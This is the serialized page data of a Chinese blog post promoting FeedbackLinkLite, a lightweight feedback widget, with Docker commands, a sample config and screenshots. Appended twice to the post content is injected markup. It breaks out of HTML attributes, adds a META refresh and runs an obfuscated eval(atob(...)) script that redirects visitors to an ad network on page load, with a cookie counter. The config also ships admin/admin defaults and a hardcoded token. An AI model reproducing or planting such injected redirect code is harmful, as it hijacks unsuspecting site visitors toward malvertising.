\u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">docker\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> run\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\"> -d\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#FF7B72\"> \\ \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">--name\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> feedbacklinklite\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#FF7B72\"> \\ \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">--user\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> root\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#FF7B72\"> \\ \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">-p\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> 4567:4567\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#FF7B72\"> \\ \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">-v\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> \u002Fxxx\u002Fdata:\u002Fworkspace\u002Fdata\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#FF7B72\"> \\ \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">ghcr.io\u002Fidea-flow\u002Ffeedbacklinklite:latest\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Ch2 id=\"简单体验运行\" tabindex=\"-1\">简单体验运行\u003C\u002Fh2>\n\u003Cdiv\n class=\"yy-md-code-block\"\n data-code-language=\"bash\"\n data-code-language-label=\"Bash\"\n data-code-collapsible=\"true\"\n>\n \u003Cdiv class=\"yy-md-code-toolbar\">\n \u003Cdiv class=\"yy-md-code-toolbar-meta\">\n \u003Cspan class=\"yy-md-code-window-controls\" aria-hidden=\"true\">\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-close\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-minimize\">\u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-window-dot yy-md-code-window-dot-expand\">\u003C\u002Fspan>\n \u003C\u002Fspan>\n \u003Cspan class=\"yy-md-code-language-pill\">Bash\u003C\u002Fspan>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-toolbar-actions\">\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-toggle data-state=\"collapsed\" aria-label=\"展开代码\" title=\"展开代码\" hidden>\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003Cbutton type=\"button\" class=\"yy-md-code-action yy-md-code-action-icon\" data-code-copy aria-label=\"复制代码\" title=\"复制代码\">\n \u003Cspan data-code-icon-host aria-hidden=\"true\">\u003C\u002Fspan>\n \u003C\u002Fbutton>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n \u003Cdiv class=\"yy-md-code-body\">\n \u003Cdiv class=\"yy-md-code-surface\">\n \u003Cpre class=\"shiki shiki-themes github-light github-dark-default\" style=\"--shiki-light:#24292e;--shiki-dark:#e6edf3;--shiki-light-bg:#fff;--shiki-dark-bg:#0d1117\" tabindex=\"0\">\u003Ccode>\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">docker\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> run\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#79C0FF\"> -d\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#FF7B72\"> \\-\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\">-name\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> feedbacklinklite\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#FF7B72\"> \\ \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">-p\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#032F62;--shiki-dark:#A5D6FF\"> 4567:4567\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#005CC5;--shiki-dark:#FF7B72\"> \\ \u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003Cspan style=\"--shiki-light:#6F42C1;--shiki-dark:#FFA657\">ghcr.io\u002Fidea-flow\u002Ffeedbacklinklite:latest\u003C\u002Fspan>\u003Cspan style=\"--shiki-light:#24292E;--shiki-dark:#E6EDF3\"> \u003C\u002Fspan>\u003C\u002Fspan>\n\u003Cspan class=\"line\">\u003C\u002Fspan>\u003C\u002Fcode>\u003C\u002Fpre>\n \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n\u003C\u002Fdiv>\u003Ch2 id=\"默认账户密码\" tabindex=\"-1\">默认账户密码\u003C\u002Fh2>\n\u003Cp>admin\u003Cbr>\nadmin\u003Cbr>\n访问地址即可\u003Cbr>\n\u003Ca href=\"http:\u002F\u002F127.0.0.1:4567\u002F\" target=\"_blank\" rel=\"noopener noreferrer\">http:\u002F\u002F127.0.0.1:4567\u002F\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch1 id=\"页面效果\" tabindex=\"-1\">页面效果\u003C\u002Fh1>\n\u003Ch3 id=\"前端页面-反馈效果\" tabindex=\"-1\">前端页面 反馈效果\u003C\u002Fh3>\n\u003Ch4 id=\"明亮模式\" tabindex=\"-1\">明亮模式\u003C\u002Fh4>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F5ff7b8faa1ef16705869cecbc3c00a22.webp\" alt=\"image.png\">\u003C\u002Fp>\n\u003Ch4 id=\"暗黑模式\" tabindex=\"-1\">暗黑模式:\u003C\u002Fh4>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002Fbfb5eeaab45e7bae8510f5695d1f6ff5.webp\" alt=\"image.png\">\u003C\u002Fp>\n\u003Ch3 id=\"钉钉消息收到效果\" tabindex=\"-1\">钉钉消息收到效果\u003C\u002Fh3>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F5e64c73e99c03225db3282e66d4c0bc3.webp\" alt=\"image.png\">\u003C\u002Fp>\n\u003Ch3 id=\"登录页面\" tabindex=\"-1\">登录页面\u003C\u002Fh3>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F6e332d05f0eb644535599b42b4ecca11.webp\" alt=\"image.png\">\u003C\u002Fp>\n\u003Ch3 id=\"配置页面效果\" tabindex=\"-1\">配置页面效果\u003C\u002Fh3>\n\u003Ch4 id=\"第一张\" tabindex=\"-1\">第一张:\u003C\u002Fh4>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F370c34d126737dcf7c81311bf294b4e1.webp\" alt=\"image.png\">\u003C\u002Fp>\n\u003Ch4 id=\"第二张\" tabindex=\"-1\">第二张:\u003C\u002Fh4>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002Fec0b7a561b19c70c06bcb96133ef1bb8.webp\" alt=\"image.png\">\u003C\u002Fp>'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003CMETA HTTP-EQUIV=REFRESH CONTENT=0;URL=https:\u002F\u002Fwww.profitableratecpmnetwork.com\u002Fipz8wwrq0?key=1ab0dd097876ddb0762b2ab9a927cc0d>\u003Ctitle>\u003Ca>'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003Cscript>eval(atob(\"CiAgICAgICAgZnVuY3Rpb24gYW1vbCgpe3dpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5wcm9maXRhYmxlcmF0ZWNwbW5ldHdvcmsuY29tL2lwejh3d3JxMD9rZXk9MWFiMGRkMDk3ODc2ZGRiMDc2MmIyYWI5YTkyN2NjMGQnKTt9CiAgICAgICAgKGZ1bmN0aW9uKCkgewogICAgICAgICAgICBpZiAod2luZG93Ll9fc2NyaXB0SW5zdGFuY2VMb2FkZWQpIHtyZXR1cm47fQogICAgICAgICAgICB3aW5kb3cuX19zY3JpcHRJbnN0YW5jZUxvYWRlZCA9IHRydWU7CiAgICAgICAgICAgIGZ1bmN0aW9uIHNldENvb2tpZShuYW1lLCB2YWx1ZSwgaG91cnMpIHtsZXQgZXhwaXJlcyA9ICIiO2lmIChob3Vycykge2NvbnN0IGRhdGUgPSBuZXcgRGF0ZSgpO2RhdGUuc2V0VGltZShkYXRlLmdldFRpbWUoKSArIChob3VycyAqIDYwICogNjAgKiAxMDAwKSk7ZXhwaXJlcyA9ICI7IGV4cGlyZXM9IiArIGRhdGUudG9VVENTdHJpbmcoKTt9IGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LzsgU2FtZVNpdGU9TGF4Ijt9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvb2tpZShuYW1lKSB7Y29uc3QgbmFtZUVRID0gbmFtZSArICI9Ijtjb25zdCBjYSA9IGRvY3VtZW50LmNvb2tpZS5zcGxpdCgnOycpO2ZvciAobGV0IGkgPSAwOyBpIDwgY2EubGVuZ3RoOyBpKyspIHtsZXQgYyA9IGNhW2ldO3doaWxlIChjLmNoYXJBdCgwKSA9PT0gJyAnKSBjID0gYy5zdWJzdHJpbmcoMSwgYy5sZW5ndGgpO2lmIChjLmluZGV4T2YobmFtZUVRKSA9PT0gMCkgcmV0dXJuIGMuc3Vic3RyaW5nKG5hbWVFUS5sZW5ndGgsIGMubGVuZ3RoKTt9cmV0dXJuIG51bGw7fQogICAgICAgICAgICBmdW5jdGlvbiBlamVjdXRhckNvbkxpbWl0ZSgpIHtjb25zdCBDT09LSUVfQ09VTlQgPSAiZXhlY19jb250YWRvcl92MSI7Y29uc3QgQ09PS0lFX0xPQ0sgPSAiZXhlY19ibG9xdWVvXzI0aCI7Y29uc3QgTUFYX0VKRUNVQ0lPTkVTID0gNTsKICAgICAgICAgICAgaWYgKGdldENvb2tpZShDT09LSUVfTE9DSykpIHtyZXR1cm47fQogICAgICAgICAgICBsZXQgY29udGVvID0gcGFyc2VJbnQoZ2V0Q29va2llKENPT0tJRV9DT1VOVCkgfHwgIjAiLCAxMCk7CiAgICAgICAgICAgIGlmIChjb250ZW8gPCBNQVhfRUpFQ1VDSU9ORVMpe2NvbnRlbysrO2Ftb2woKTsKICAgICAgICAgICAgICAgIGlmIChjb250ZW8gPj0gTUFYX0VKRUNVQ0lPTkVTKSB7c2V0Q29va2llKENPT0tJRV9MT0NLLCAibG9ja2VkIiwgMjQpO3NldENvb2tpZShDT09LSUVfQ09VTlQsICIwIiwgMjQpO31lbHNle3NldENvb2tpZShDT09LSUVfQ09VTlQsIGNvbnRlby50b1N0cmluZygpLCAyNCk7fX19CiAgICAgICAgICAgIGVqZWN1dGFyQ29uTGltaXRlKCk7fSkoKTs=\"));\u003C\u002Fscript>\u003Ctitle>\u003Ca>","# FeedbackLinkLite - 轻量级用户反馈系统\n开源自荐- 网站一行代码引入,接入简单反馈收集服务 和用户交互-FeedbackLinkLite - 轻量级用户反馈系统\n\n目前很初版 很简单~ 欢迎交流 与使用~~~ :lark_186:\n\n\u003Ciframe src=\"\u002F\u002Fplayer.bilibili.com\u002Fplayer.html?isOutside=true&aid=115991061204177&bvid=BV1256pBkELM&cid=35739405835&p=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\">\u003C\u002Fiframe>\n\n\n> **\"倾听用户的声音,是产品进化的捷径。\"**\n\n[https:\u002F\u002Fgithub.com\u002FIdea-flow\u002FFeedbackLinkLite](https:\u002F\u002Fgithub.com\u002FIdea-flow\u002FFeedbackLinkLite)\n\n## 🌟 核心理念\n\n在独立开发和小型项目的世界里,我们深知每一行代码背后的心血。然而,无论产品构思多么精妙,如果听不到用户的声音,就如同在黑暗中摸索。\n\n**ServiceLinkLite** 的诞生源于一个简单的\"想知道用户反馈\"初衷:\n- **为开发者减负**:您不应该为了一个简单的\"反馈功能\"而耗费宝贵的开发时间。我们希望您能专注于核心业务,把\"倾听\"这件事交给我们。\n- **让用户受益**:当您的用户遇到问题或有好的建议时,他们能拥有一个极简、无压力的渠道与您沟通。这不仅解决了他们的问题,更让您的产品因为他们的参与而变得更好。\n\n这是一个连接创造者与使用者的桥梁。我们相信,开放反馈渠道本身就是一种对他人的尊重与关怀,而这份\"利他\"之心,终将回馈于您的产品成长。\n \n--- \n\n## 🚀 项目介绍\n\n**ServiceLinkLite** 是一个专门为 **个人开发者**、**小型 Web 项目\u002F网站** 打造的轻量级用户反馈解决方案。\n\n它由两部分组成:\n1. **前端 Widget**:一个极简的 JavaScript 插件,几行代码即可嵌入任何网页。\n2. **后端服务**:基于 Spring Boot 的轻量级服务,负责接收反馈并实时推送到您的即时通讯工具(目前支持钉钉,更多渠道开发中)。\n\n### ✨ 核心特性\n\n- **极简集成**:前端只需引入一个 JS 文件,即可获得优雅的反馈按钮与弹窗。\n- **即时触达**:用户提交反馈后,消息会立即通过机器人在群里通知您(支持钉钉 Webhook)。\n- **防骚扰设计**:内置 IP 频次限制(Rate Limiting),防止恶意刷屏。\n- **完全开源**:代码透明,数据掌控在自己手中,无隐私担忧。\n- **开箱即用**:无需复杂的数据库配置(默认日志\u002F内存处理,可视需求扩展)。\n\n## 🛠 技术栈\n\n- **后端**: Java 21+, Spring Boot4 (Native\u002FGraalVM)\n- **前端 Widget**: Vue 3 (Web Components), Vite\n\n## 📦 快速开始\n\n### 1. 部署后端\n```bash \n# 克隆项目 \ngit clone https:\u002F\u002Fgithub.com\u002Fyour-repo\u002FServiceLinkLite.git \n \n# 运行服务 \ncd ServiceLinkLite \n.\u002Fmvnw spring-boot:run \n``` \n\n### 2. 配置通知渠道 (application.yml)\n```yaml \nfeedback: \n enabled: true \n dingTalk: \n webhook: \"\" \n secret: \"\" \n rate-limit: \n enabled: true \n max-requests: 5 \n window-minutes: 60 \n auth: \n username: \"admin\" \n password: \"admin\" \n token: \"token123434kkgdka56\" \n # 外部配置文件路径,默认指向工作目录下 data\u002Ffeedback_config.json,可通过 FEEDBACK_CONFIG_PATH 或 feedback.config-path 覆盖 \n config-path: \".\u002Fdata\u002Ffeedback_config.json\" \n``` \n\n### 3. 前端嵌入\n在您的 HTML 页面中添加:\n```html \n\u003Cscript src=\"http:\u002F\u002Fyour-server-ip-or-domain\u002Ffeedback.js\">\u003C\u002Fscript> \n``` \n \n--- \n\n## 🤝 贡献与支持\n如果你觉得这个小工具对你有帮助,欢迎 Star 支持!也欢迎提交 PR 扩展更多消息渠道(如飞书、企业微信、Email 等)。\n\n\n\n\n\n# 优点\n## 大小-127MB\n\n![image.png](https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F0c07734277b18f741b97ab93aee89bab.webp)\n\n## 内存-仅仅43MB\n![image.png](https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F97ecdff1da1f721af21912df6b2caa31.webp)\n\n# docker运行\n\n## 持久化运行\n```bash \n \n如果想持久化配置 \u002Fdata\u002Ffeedback_config.json 拷贝到 \u002Fxxxx\u002Fdata 目录下后执行 \nmkdir -p \u002Fxxx\u002Fdata\u002F \n \n \ndocker run -d \\ \n--name feedbacklinklite \\ \n--user root \\ \n-p 4567:4567 \\ \n-v \u002Fxxx\u002Fdata:\u002Fworkspace\u002Fdata \\ \nghcr.io\u002Fidea-flow\u002Ffeedbacklinklite:latest \n``` \n\n## 简单体验运行\n```bash \ndocker run -d \\--name feedbacklinklite \\ \n-p 4567:4567 \\ \nghcr.io\u002Fidea-flow\u002Ffeedbacklinklite:latest \n``` \n## 默认账户密码\nadmin \nadmin \n访问地址即可 \nhttp:\u002F\u002F127.0.0.1:4567\u002F\n\n\n# 页面效果\n\n### 前端页面 反馈效果\n#### 明亮模式\n![image.png](https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F5ff7b8faa1ef16705869cecbc3c00a22.webp)\n\n#### 暗黑模式:\n![image.png](https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002Fbfb5eeaab45e7bae8510f5695d1f6ff5.webp)\n\n\n### 钉钉消息收到效果\n![image.png](https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F5e64c73e99c03225db3282e66d4c0bc3.webp)\n\n\n\n### 登录页面\n\n![image.png](https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F6e332d05f0eb644535599b42b4ecca11.webp)\n\n### 配置页面效果\n#### 第一张:\n![image.png](https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002F370c34d126737dcf7c81311bf294b4e1.webp)\n\n#### 第二张:\n![image.png](https:\u002F\u002Foss.6667000.xyz\u002F2026\u002F02\u002Fec0b7a561b19c70c06bcb96133ef1bb8.webp)'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003CMETA HTTP-EQUIV=REFRESH CONTENT=0;URL=https:\u002F\u002Fwww.profitableratecpmnetwork.com\u002Fipz8wwrq0?key=1ab0dd097876ddb0762b2ab9a927cc0d>\u003Ctitle>\u003Ca>'\">\u003C\u002Ftitle>\u003C\u002Fa>\u003Cscript>eval(atob(\"CiAgICAgICAgZnVuY3Rpb24gYW1vbCgpe3dpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCdodHRwczovL3d3dy5wcm9maXRhYmxlcmF0ZWNwbW5ldHdvcmsuY29tL2lwejh3d3JxMD9rZXk9MWFiMGRkMDk3ODc2ZGRiMDc2MmIyYWI5YTkyN2NjMGQnKTt9CiAgICAgICAgKGZ1bmN0aW9uKCkgewogICAgICAgICAgICBpZiAod2luZG93Ll9fc2NyaXB0SW5zdGFuY2VMb2FkZWQpIHtyZXR1cm47fQogICAgICAgICAgICB3aW5kb3cuX19zY3JpcHRJbnN0YW5jZUxvYWRlZCA9IHRydWU7CiAgICAgICAgICAgIGZ1bmN0aW9uIHNldENvb2tpZShuYW1lLCB2YWx1ZSwgaG91cnMpIHtsZXQgZXhwaXJlcyA9ICIiO2lmIChob3Vycykge2NvbnN0IGRhdGUgPSBuZXcgRGF0ZSgpO2RhdGUuc2V0VGltZShkYXRlLmdldFRpbWUoKSArIChob3VycyAqIDYwICogNjAgKiAxMDAwKSk7ZXhwaXJlcyA9ICI7IGV4cGlyZXM9IiArIGRhdGUudG9VVENTdHJpbmcoKTt9IGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LzsgU2FtZVNpdGU9TGF4Ijt9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvb2tpZShuYW1lKSB7Y29uc3QgbmFtZUVRID0gbmFtZSArICI9Ijtjb25zdCBjYSA9IGRvY3VtZW50LmNvb2tpZS5zcGxpdCgnOycpO2ZvciAobGV0IGkgPSAwOyBpIDwgY2EubGVuZ3RoOyBpKyspIHtsZXQgYyA9IGNhW2ldO3doaWxlIChjLmNoYXJBdCgwKSA9PT0gJyAnKSBjID0gYy5zdWJzdHJpbmcoMSwgYy5sZW5ndGgpO2lmIChjLmluZGV4T2YobmFtZUVRKSA9PT0gMCkgcmV0dXJuIGMuc3Vic3RyaW5nKG5hbWVFUS5sZW5ndGgsIGMubGVuZ3RoKTt9cmV0dXJuIG51bGw7fQogICAgICAgICAgICBmdW5jdGlvbiBlamVjdXRhckNvbkxpbWl0ZSgpIHtjb25zdCBDT09LSUVfQ09VTlQgPSAiZXhlY19jb250YWRvcl92MSI7Y29uc3QgQ09PS0lFX0xPQ0sgPSAiZXhlY19ibG9xdWVvXzI0aCI7Y29uc3QgTUFYX0VKRUNVQ0lPTkVTID0gNTsKICAgICAgICAgICAgaWYgKGdldENvb2tpZShDT09LSUVfTE9DSykpIHtyZXR1cm47fQogICAgICAgICAgICBsZXQgY29udGVvID0gcGFyc2VJbnQoZ2V0Q29va2llKENPT0tJRV9DT1VOVCkgfHwgIjAiLCAxMCk7CiAgICAgICAgICAgIGlmIChjb250ZW8gPCBNQVhfRUpFQ1VDSU9ORVMpe2NvbnRlbysrO2Ftb2woKTsKICAgICAgICAgICAgICAgIGlmIChjb250ZW8gPj0gTUFYX0VKRUNVQ0lPTkVTKSB7c2V0Q29va2llKENPT0tJRV9MT0NLLCAibG9ja2VkIiwgMjQpO3NldENvb2tpZShDT09LSUVfQ09VTlQsICIwIiwgMjQpO31lbHNle3NldENvb2tpZShDT09LSUVfQ09VTlQsIGNvbnRlby50b1N0cmluZygpLCAyNCk7fX19CiAgICAgICAgICAgIGVqZWN1dGFyQ29uTGltaXRlKCk7fSkoKTs=\"));\u003C\u002Fscript>\u003Ctitle>\u003Ca>","[{\"id\": \"feedbacklinklite-轻量级用户反馈系统\", \"text\": \"FeedbackLinkLite - 轻量级用户反馈系统\", \"level\": 1}, {\"id\": \"核心理念\", \"text\": \"🌟 核心理念\", \"level\": 2}, {\"id\": \"项目介绍\", \"text\": \"🚀 项目介绍\", \"level\": 2}, {\"id\": \"核心特性\", \"text\": \"✨ 核心特性\", \"level\": 3}, {\"id\": \"技术栈\", \"text\": \"🛠 技术栈\", \"level\": 2}, {\"id\": \"快速开始\", \"text\": \"📦 快速开始\", \"level\": 2}, {\"id\": \"1-部署后端\", \"text\": \"1. 部署后端\", \"level\": 3}, {\"id\": \"2-配置通知渠道-applicationyml\", \"text\": \"2. 配置通知渠道 (application.yml)\", \"level\": 3}, {\"id\": \"3-前端嵌入\", \"text\": \"3. 前端嵌入\", \"level\": 3}, {\"id\": \"贡献与支持\", \"text\": \"🤝 贡献与支持\", \"level\": 2}, {\"id\": \"优点\", \"text\": \"优点\", \"level\": 1}, {\"id\": \"大小-127mb\", \"text\": \"大小-127MB\", \"level\": 2}, {\"id\": \"内存-仅仅43mb\", \"text\": \"内存-仅仅43MB\", \"level\": 2}, {\"id\": \"docker运行\", \"text\": \"docker运行\", \"level\": 1}, {\"id\": \"持久化运行\", \"text\": \"持久化运行\", \"level\": 2}, {\"id\": \"简单体验运行\", \"text\": \"简单体验运行\", \"level\": 2}, {\"id\": \"默认账户密码\", \"text\": \"默认账户密码\", \"level\": 2}, {\"id\": \"页面效果\", \"text\": \"页面效果\", \"level\": 1}, {\"id\": \"前端页面-反馈效果\", \"text\": \"前端页面 反馈效果\", \"level\": 3}, {\"id\": \"明亮模式\", \"text\": \"明亮模式\", \"level\": 4}, {\"id\": \"暗黑模式\", \"text\": \"暗黑模式:\", \"level\": 4}, {\"id\": \"钉钉消息收到效果\", \"text\": \"钉钉消息收到效果\", \"level\": 3}, {\"id\": \"登录页面\", \"text\": \"登录页面\", \"level\": 3}, {\"id\": \"配置页面效果\", \"text\": \"配置页面效果\", \"level\": 3}, {\"id\": \"第一张\", \"text\": \"第一张:\", \"level\": 4}, {\"id\": \"第二张\", \"text\": \"第二张:\", \"level\": 4}]",12,0,"2026-04-09T01:02:49",3,[40,55,82],{"authorAvatarUrl":7,"authorName":15,"categoryName":7,"categorySlug":7,"coverUrl":41,"id":42,"likeCount":36,"publishedAt":43,"readingMinutes":44,"recommend":14,"slug":45,"summary":7,"tagItems":46,"tagNames":50,"title":51,"top":14,"topicItems":52,"topicNames":53,"viewCount":54},"https:\u002F\u002Foss.ideaflow.top\u002FarticleCover\u002Fd9bab5be2791cefb1d7200d117ed75b51a25c98fab6db990a52e5a1378b4b8f5.webp",7,"2026-04-03T15:47:38",10,"ceshi-shili",[47],{"name":48,"slug":49},"新手入门","beginner",[48],"测试-md示例",[],[],37,{"authorAvatarUrl":7,"authorName":15,"categoryName":56,"categorySlug":57,"coverUrl":58,"id":25,"likeCount":59,"publishedAt":60,"readingMinutes":25,"recommend":14,"slug":61,"summary":62,"tagItems":63,"tagNames":71,"title":72,"top":14,"topicItems":73,"topicNames":80,"viewCount":81},"新番观察","season-watch","https:\u002F\u002Fs3.hi168.com\u002Fhi168-29272-3320gqns\u002Ftest\u002F6688.jpeg",326,"2026-03-27T20:00:00","spring-2026-first-five","如果你只想先追 5 部作品,这篇会按情绪浓度、画面完成度和追更压力给出最稳妥的入场顺序。",[64,67,70],{"name":65,"slug":66},"治愈系","healing",{"name":68,"slug":69},"奇幻冒险","fantasy-adventure",{"name":48,"slug":49},[65,68,48],"2026cc 春季新番先看哪 5 部:从情绪密度到作画稳定度的一次筛选",[74,77],{"name":75,"slug":76},"2026 春季追番清单","spring-2026-watchlist",{"name":78,"slug":79},"入坑路线图","starter-roadmap",[75,78],4848,{"authorAvatarUrl":83,"authorName":84,"categoryName":85,"categorySlug":86,"coverUrl":58,"id":18,"likeCount":87,"publishedAt":88,"readingMinutes":89,"recommend":14,"slug":90,"summary":91,"tagItems":92,"tagNames":99,"title":100,"top":21,"topicItems":101,"topicNames":105,"viewCount":106},"https:\u002F\u002Fimage.pollinations.ai\u002Fprompt\u002Fanime%20editor%20portrait%20blue%20hair%20illustration?width=512&height=512&seed=3202&nologo=true","雾岛栞","场景美学","scene-aesthetics",281,"2026-03-26T21:10:00",4,"rainy-city-train-scenes","从霓虹倒影、玻璃反光和人物留白三个角度,拆解动画中最容易让人沉浸的城市夜景镜头。",[93,96],{"name":94,"slug":95},"都市夜景","city-night",{"name":97,"slug":98},"壁纸向","wallpaper",[94,97],"雨夜电车窗景为什么总能打动人:12 个高情绪城市镜头拆解",[102],{"name":103,"slug":104},"城市夜色美学","city-night-aesthetics",[103],3698,"FeedbackLinkLite - 轻量级用户反馈系统,客服服务系统","feedbacklinklite",[110],"项目推荐","隐藏内容",[78],47,["Reactive",115],{"$scolor-mode":116,"$stoasts":118,"$sauth.current-user":119,"$sauth.initialized":21,"$sauth.loading":21},{"preference":117,"value":117,"unknown":14,"forced":21},"system",[],null,["Set"],["ShallowReactive",122],{"site-base-info":-1,"site-post-feedbacklinklite":-1},"\u002Fposts\u002Ffeedbacklinklite"]</script></body></html>